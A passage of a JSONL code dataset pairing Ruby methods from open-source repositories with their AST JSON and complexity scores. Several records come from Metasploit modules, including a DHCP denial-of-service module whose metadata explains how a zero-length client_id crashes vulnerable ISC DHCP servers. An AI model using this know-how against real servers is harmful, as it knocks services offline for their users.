ype\":\"lvasgn\",\"children\":[\"miq_obj\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_class\"]},\"constantize\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ems_ref\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"ems_ref\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_obj\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_status\"]},{\"type\":\"str\",\"children\":[\"succeeded\"]}]}]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_class\"]},\"nil?\"]},{\"type\":\"lvar\",\"children\":[\"miq_obj\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"done\"]},{\"type\":\"send\",\"children\":[null,\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"succeeded\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"done\"]},{\"type\":\"str\",\"children\":[\"completed\"]},{\"type\":\"str\",\"children\":[\"in progress\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"status_class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"613b1949-1140-42fa-a680-3129df233dc5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/winrm.rb","start_line":43,"raw_source":"def parse_auth_methods(resp)\n          return [] unless resp and resp.code == 401\n          methods = []\n          methods << \"Negotiate\" if resp.headers['WWW-Authenticate'].include? \"Negotiate\"\n          methods << \"Kerberos\" if resp.headers['WWW-Authenticate'].include? \"Kerberos\"\n          methods << \"Basic\" if resp.headers['WWW-Authenticate'].include? \"Basic\"\n          return methods\n        end","complexity_score":22.83,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_auth_methods\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[401]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"methods\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WWW-Authenticate\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"Negotiate\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methods\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Negotiate\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WWW-Authenticate\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"Kerberos\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methods\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Kerberos\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WWW-Authenticate\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"Basic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methods\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Basic\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"methods\"]}]}]}]}","id":"0a32acf1-0479-4537-b723-aca860ad9b81"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/solaris/escalate/pfexec.rb","start_line":41,"raw_source":"def shell_path\n    datastore['SHELL_PATH'].to_s\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"shell_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SHELL_PATH\"]}]},\"to_s\"]}]}","id":"7430f561-912d-4042-8293-36799e2afc08"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_notes/incidents_service.rb","start_line":11,"raw_source":"def initialize(noteable:)\n      @noteable = noteable\n      @project = noteable.project\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"noteable\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@noteable\",{\"type\":\"lvar\",\"children\":[\"noteable\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"noteable\"]},\"project\"]}]}]}]}","id":"77028315-cdc5-44c7-8d8d-dc01b18ad1fc"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/model_generator_test.rb","start_line":134,"raw_source":"def test_impossible_inflection_rules_raises_an_error\n    content = capture(:stderr) { run_generator [\"BFF\"] }\n    message = <<~MESSAGE\n      Rails cannot recover the underscored form from its camelcase form 'BFF'.\n      Please use an underscored name instead, either 'bff' or 'bf_f'.\n      Or setup custom inflection rules for this noun before running the generator in config/initializers/inflections.rb.\n    MESSAGE\n    assert_match message, content\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_impossible_inflection_rules_raises_an_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture\",{\"type\":\"sym\",\"children\":[\"stderr\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BFF\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Rails cannot recover the underscored form from its camelcase form 'BFF'.\\n\"]},{\"type\":\"str\",\"children\":[\"Please use an underscored name instead, either 'bff' or 'bf_f'.\\n\"]},{\"type\":\"str\",\"children\":[\"Or setup custom inflection rules for this noun before running the generator in config/initializers/inflections.rb.\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}","id":"5e12f262-8cbc-4ab3-bfe5-f20d33430751"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/datepicker/work_package_datepicker.rb","start_line":73,"raw_source":"def expect_due_date(value, **)\n      expect(container).to have_field(\"work_package[due_date]\", with: value, **)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_due_date\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"kwrestarg\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"container\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_field\",{\"type\":\"str\",\"children\":[\"work_package[due_date]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"forwarded_kwrestarg\",\"children\":[]}]}]}]}]}","id":"d3fd2933-41e9-4a03-81e1-76a75b169c68"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/miq_request_mixin.rb","start_line":33,"raw_source":"def get_user\n    if @user || User.in_my_region.find_by(:userid => userid)\n      @user ||= User.in_my_region.find_by(:userid => userid).tap do |u|\n        u.current_group_by_description = options[:requester_group] if options[:requester_group]\n      end\n    else\n      @user = User.super_admin\n    end\n  end","complexity_score":23.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"in_my_region\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"send\",\"children\":[null,\"userid\"]}]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"in_my_region\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"send\",\"children\":[null,\"userid\"]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"requester_group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"current_group_by_description=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"requester_group\"]}]}]},null]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"super_admin\"]}]}]}]}","id":"2ffd6af0-e7aa-490b-aeef-aa6e7493f946"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/cli/statuses.rb","start_line":189,"raw_source":"def vacuum_and_analyze_conversations\n      if options[:compress_database]\n        say('Running \"VACUUM FULL ANALYZE conversations\"...')\n        ActiveRecord::Base.connection.execute('VACUUM FULL ANALYZE conversations')\n        say('Running \"REINDEX TABLE conversations\"...')\n        ActiveRecord::Base.connection.execute('REINDEX TABLE conversations')\n      else\n        say('Running \"ANALYZE conversations\"...')\n        ActiveRecord::Base.connection.execute('ANALYZE conversations')\n      end\n    end","complexity_score":14.6,"ast_json":"{\"type\":\"def\",\"children\":[\"vacuum_and_analyze_conversations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"compress_database\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Running \\\"VACUUM FULL ANALYZE conversations\\\"...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"VACUUM FULL ANALYZE conversations\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Running \\\"REINDEX TABLE conversations\\\"...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"REINDEX TABLE conversations\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"str\",\"children\":[\"Running \\\"ANALYZE conversations\\\"...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"ANALYZE conversations\"]}]}]}]}]}","id":"02575916-9e5e-413a-92ad-c525203834a0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/references/label_reference_filter.rb","start_line":167,"raw_source":"def parent\n          project || group\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"group\"]}]}]}","id":"23630d50-3821-42e7-9a97-93700011bed2"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_json/viewpoint_reader.rb","start_line":98,"raw_source":"def transform_lines(hash)\n        return unless hash[\"lines\"]\n\n        hash[\"lines\"] = [hash[\"lines\"][\"line\"]].flatten(1).map! do |line|\n          line.deep_transform_values! { |val| to_numeric(val) }\n        end\n      end","complexity_score":12.95,"ast_json":"{\"type\":\"def\",\"children\":[\"transform_lines\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lines\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"lines\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lines\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"line\"]}]}]},\"flatten\",{\"type\":\"int\",\"children\":[1]}]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"deep_transform_values!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"send\",\"children\":[null,\"to_numeric\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]}]}]}]}","id":"7b142425-e849-4e0d-9658-bbe10a47c8a1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb","start_line":10,"raw_source":"def initialize\n    super(\n      'Name' => 'ISC DHCP Zero Length ClientID Denial of Service Module',\n      'Description' => %q{\n          This module performs a Denial of Service Attack against the ISC DHCP server,\n        versions 4.1 before 4.1.1-P1 and 4.0 before 4.0.2-P1. It sends out a DHCP Request\n        message with a 0-length client_id option for an IP address on the appropriate range\n        for the dhcp server. When ISC DHCP Server tries to hash this value it exits\n        abnormally.\n      },\n      'Author' => [\n        'sid', # Original POC\n        'theLightCosine' # msf module\n      ],\n      'License' => MSF_LICENSE,\n      'References' => [\n        [ 'CVE', '2010-2156' ],\n        [ 'OSVDB', '65246'],\n        [ 'EDB', '14185']\n      ],\n      'Notes' => {\n        'Stability' => [CRASH_SERVICE_DOWN],\n        'SideEffects' => [],\n        'Reliability' => []\n      }\n    )\n    register_options(\n      [\n        OptAddress.new('RIP', [true, 'A valid IP to request from the server'])\n      ]\n    )\n    deregister_options('FILTER', 'PCAPFILE', 'SNAPLEN', 'TIMEOUT')\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"ISC DHCP Zero Length ClientID Denial of Service Module\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module performs a Denial of Service Attack against the ISC DHCP server,\\n\"]},{\"type\":\"str\",\"children\":[\"        versions 4.1 before 4.1.1-P1 and 4.0 before 4.0.2-P1. It sends out a DHCP Request\\n\"]},{\"type\":\"str\",\"children\":[\"        message with a 0-length client_id option for an IP address on the appropriate range\\n\"]},{\"type\":\"str\",\"children\":[\"        for the dhcp server. When ISC DHCP Server tries to hash this value it exits\\n\"]},{\"type\":\"str\",\"children\":[\"        abnormally.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sid\"]},{\"type\":\"str\",\"children\":[\"theLightCosine\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2010-2156\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"65246\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"14185\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptAddress\"]},\"new\",{\"type\":\"str\",\"children\":[\"RIP\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A valid IP to request from the server\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"FILTER\"]},{\"type\":\"str\",\"children\":[\"PCAPFILE\"]},{\"type\":\"str\",\"children\":[\"SNAPLEN\"]},{\"type\":\"str\",\"children\":[\"TIMEOUT\"]}]}]}]}","id":"089b3e98-0d86-469f-a262-67a18194b101"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request.rb","start_line":292,"raw_source":"def v_approved_by_email\n    miq_approvals.collect { |i| i.stamper.try(:email) }.compact.join(\", \")\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"v_approved_by_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"miq_approvals\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"stamper\"]},\"try\",{\"type\":\"sym\",\"children\":[\"email\"]}]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}","id":"886b1597-83c5-477c-abc2-bbd773d4332e"}
{"repo_name":"rack","file_path":"./repos/rack/test/spec_headers.rb","start_line":74,"raw_source":"def test_store_and_retrieve\n    assert_nil  @h['a']\n    @h['A'] = '2'\n    assert_equal '2', @h['a']\n    assert_equal '2', @h['A']\n    @h['a'] = '3'\n    assert_equal '3', @h['a']\n    assert_equal '3', @h['A']\n    @h['AB'] = '5'\n    assert_equal '5', @h['ab']\n    assert_equal '5', @h['AB']\n    assert_equal '5', @h['aB']\n    assert_equal '5', @h['Ab']\n    @h.store('C', '8')\n    assert_equal '8', @h['c']\n    assert_equal '8', @h['C']\n  end","complexity_score":28.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_store_and_retrieve\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"a\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@h\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"A\"]},{\"type\":\"str\",\"children\":[\"2\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"a\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"A\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@h\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"3\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"3\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"a\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"3\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"A\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@h\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"AB\"]},{\"type\":\"str\",\"children\":[\"5\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"5\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ab\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"5\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"AB\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"5\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"aB\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"5\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Ab\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@h\"]},\"store\",{\"type\":\"str\",\"children\":[\"C\"]},{\"type\":\"str\",\"children\":[\"8\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"8\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"c\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"8\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@h\"]},\"[]\",{\"type\":\"str\",\"children\":[\"C\"]}]}]}]}]}","id":"24ee0079-f704-46a9-abc2-5ac96eba084a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/ssllabs_scan.rb","start_line":247,"raw_source":"def valid?\n      issues == 0\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"valid?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issues\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"1b7b9863-7ec9-4f43-8b0c-c99500ffddb1"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/providers/db/gateway.rb","start_line":81,"raw_source":"def respond_to_missing?(name, _include_all = false)\n          config.respond_to?(name) || super\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"_include_all\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"1abd3ccf-aa11-4c94-b501-dc0db54d4ee0"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/admin_user_serializer.rb","start_line":49,"raw_source":"def include_ip_address?\n    scope.can_see_ip?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_ip_address?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"can_see_ip?\"]}]}","id":"d74e754a-7ab4-4254-9eca-c0dd14393d03"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/components/previews/rapid_diffs/diff_file_component_preview.rb","start_line":128,"raw_source":"def binary_file_changed_to_less_bytes\n      hunk = \"\n        --- a/binary\n        +++ b/binary\n          Binary files a/binary and b/binary differ\n      \"\n      diff = raw_diff(diff_content(hunk), new_file: false, deleted_file: false, a_mode: '100644')\n      file = diff_file(diff, binary: true)\n      file.new_blob.size = file.old_blob.size - 10\n      file.new_blob.id = \"#{file.new_blob.id}new\"\n      render(::RapidDiffs::DiffFileComponent.new(diff_file: file))\n    end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"binary_file_changed_to_less_bytes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hunk\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        --- a/binary\\n\"]},{\"type\":\"str\",\"children\":[\"        +++ b/binary\\n\"]},{\"type\":\"str\",\"children\":[\"          Binary files a/binary and b/binary differ\\n\"]},{\"type\":\"str\",\"children\":[\"      